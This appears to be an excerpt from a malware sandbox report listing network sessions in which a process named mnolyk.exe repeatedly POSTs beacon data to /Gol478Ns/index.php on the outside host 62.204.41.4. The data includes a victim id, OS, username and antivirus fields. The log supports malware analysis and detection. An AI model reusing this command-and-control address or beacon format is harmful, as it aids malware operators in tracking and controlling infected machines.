Feb 7, 2023 23:10:11.502083063 CET	829	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:11.566924095 CET	829	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
715	192.168.2.7	50410	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:11.734232903 CET	830	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:11.797760963 CET	830	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
716	192.168.2.7	50411	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:11.977608919 CET	831	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:12.044487953 CET	831	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
717	192.168.2.7	50412	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:12.220069885 CET	832	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:12.284826994 CET	832	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
718	192.168.2.7	50413	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:12.452914953 CET	833	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:12.518393040 CET	833	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
719	192.168.2.7	50414	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:12.687094927 CET	834	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:12.749799967 CET	834	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
72	192.168.2.7	49767	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:19.936779976 CET	187	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:20.000106096 CET	187	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
720	192.168.2.7	50415	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:12.934992075 CET	835	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:12.998701096 CET	835	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
721	192.168.2.7	50416	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:13.181627035 CET	836	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:13.246825933 CET	836	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
722	192.168.2.7	50417	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:13.425467968 CET	837	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:13.488778114 CET	837	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
723	192.168.2.7	50418	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:13.656697035 CET	838	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:13.720968008 CET	838	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
724	192.168.2.7	50419	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:13.897365093 CET	839	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:13.959821939 CET	839	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
725	192.168.2.7	50420	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:14.158818960 CET	840	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:14.224035978 CET	840	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
726	192.168.2.7	50421	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:14.406003952 CET	841	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:14.470053911 CET	841	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
727	192.168.2.7	50422	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:14.657367945 CET	842	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:14.722737074 CET	842	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
728	192.168.2.7	50423	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:14.904731989 CET	843	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:14.969476938 CET	843	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
729	192.168.2.7	50424	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:15.140263081 CET	844	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:15.204756975 CET	844	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
73	192.168.2.7	49768	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:20.940206051 CET	188	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:21.005235910 CET	188	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
730	192.168.2.7	50425	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:15.374875069 CET	845	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:15.437989950 CET	845	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
731	192.168.2.7	50426	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:15.811820030 CET	846	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:15.874625921 CET	846	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
732	192.168.2.7	50427	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:16.088952065 CET	847	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:16.156971931 CET	847	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
733	192.168.2.7	50428	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:16.360692978 CET	848	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
